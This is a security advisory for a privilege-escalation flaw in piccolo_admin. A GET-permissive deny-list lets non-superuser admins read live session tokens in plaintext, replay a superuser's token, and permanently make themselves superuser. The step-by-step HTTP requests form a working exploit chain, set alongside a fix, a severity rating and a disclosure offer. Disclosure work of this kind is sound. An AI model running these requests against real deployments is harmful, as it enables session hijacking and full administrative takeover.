piccolo_admin CVE-2026-55485

Summary

piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.

The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.

The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.

Affected component

• File: piccolo_admin/endpoints.py
• Function: superuser_validators (around line 419)

def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
    user: BaseUser = request.user.user
    if not user.superuser:
        if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
            raise HTTPException(
                detail="Only superusers can perform these actions.",
                status_code=405,
            )

The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.

Preconditions

1. Network reachability to the admin.
2. Valid credentials for a non-superuser admin (admin=True, superuser=False - the default role created by BaseUser.create_user(admin=True)).
3. The deployment includes the Sessions table (and typically the User table) in create_admin([...]) - the documented pattern for "active sessions" management UIs.

Steps to reproduce

1. Log in as the non-superuser admin (john / john123). Open the *Piccolo User* table and confirm john's SUPERUSER column is ✗. *(See Screenshot 1.)*

<img width="3024" height="1430" alt="01-john-piccolo_user-list" src="https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9" />

1. Attempt the target write directly. Send the following request:

   PATCH /api/tables/piccolo_user/2/ HTTP/1.1
   Host: target:8001
   Content-Type: application/json
   Cookie: id=<john's session>; csrftoken=<token>
   X-CSRFToken: <token>

   {"superuser": true}

The server returns:

   HTTP/1.1 405
   {"detail":"Only superusers can perform these actions."}

The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break. <img width="3024" height="2158" alt="02-john-save-blocked-405" src="https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0" /> <img width="1213" height="713" alt="03-john-save-blocked-405" src="https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702" />

1. Leak the credential. As the same john user, request:

   GET /api/tables/sessions/ HTTP/1.1
   Host: target:8001
   Cookie: id=<john's session>; csrftoken=<token>

Response: 200 OK containing every active session in plaintext, e.g.

   {"rows":[
     {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...},
     {"token":"...","user_id":2, ...},
     ...
   ]}

Copy the token value of any row whose user_id matches the superuser. That string IS the live session cookie of that user. *(Screenshot 4.)* <img width="1512" height="850" alt="04-john-sees-all-session-tokens" src="https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529" />

1. Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the Cookie: id= value to the stolen token:

   PATCH /api/tables/piccolo_user/2/ HTTP/1.1
   Host: target:8001
   Content-Type: application/json
   Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token>
   X-CSRFToken: <token>

   {"superuser": true}

Response: 200 OK, body shows "superuser": true for john. *(Screenshot 5.)* <img width="1213" height="713" alt="05-john-self-promote" src="https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e" />

1. Verify persistence. Log in fresh as john / john123 (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed - the elevation is permanent on john's own row.

Impact

Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:

• read/write/delete any row in any table the admin exposes;
• revoke any other session, locking out other admins;
• change any user's password;
• export data (including via the bulk CSV download forms);
• plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.

Persistence is automatic - once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.

Suggested fix

Primary (single-line): make superuser_validators reject all requests from non-superusers - there is no legitimate non-superuser use case for the user or session tables in this context:

def superuser_validators(piccolo_crud, request):
    if not request.user.user.superuser:
        raise HTTPException(
            status_code=403,
            detail="Only superusers can access this resource.",
        )

Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.

Severity

CVSS 3.1: 8.8 HIGH - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Reasoning:

• AV:N - accessible over the network.
• AC:L - single GET; no race or timing dependency.
• PR:L - requires non-superuser admin credentials (the default admin role).
• UI:N - no victim interaction needed.
• S:U - scope kept Unchanged to be conservative; some auditors may prefer S:C (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.
• C:H / I:H / A:H - full read, full write, full availability impact on the admin's data and on other users' sessions.

Weaknesses

• CWE-269 Improper Privilege Management *(primary)*
• CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
• CWE-863 Incorrect Authorization

Notes for the maintainer

• The vulnerability is reachable on any version where superuser_validators uses a method deny-list and SessionsBase.token is not secret=True. I tested against piccolo_admin 1.13.0 + piccolo_api 1.9.0.
• The shipped admin_demo does not expose the Sessions table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions) configuration, which mirrors the documented "Sessions admin view" pattern.
• I'm happy to coordinate disclosure timing and validate any candidate patch.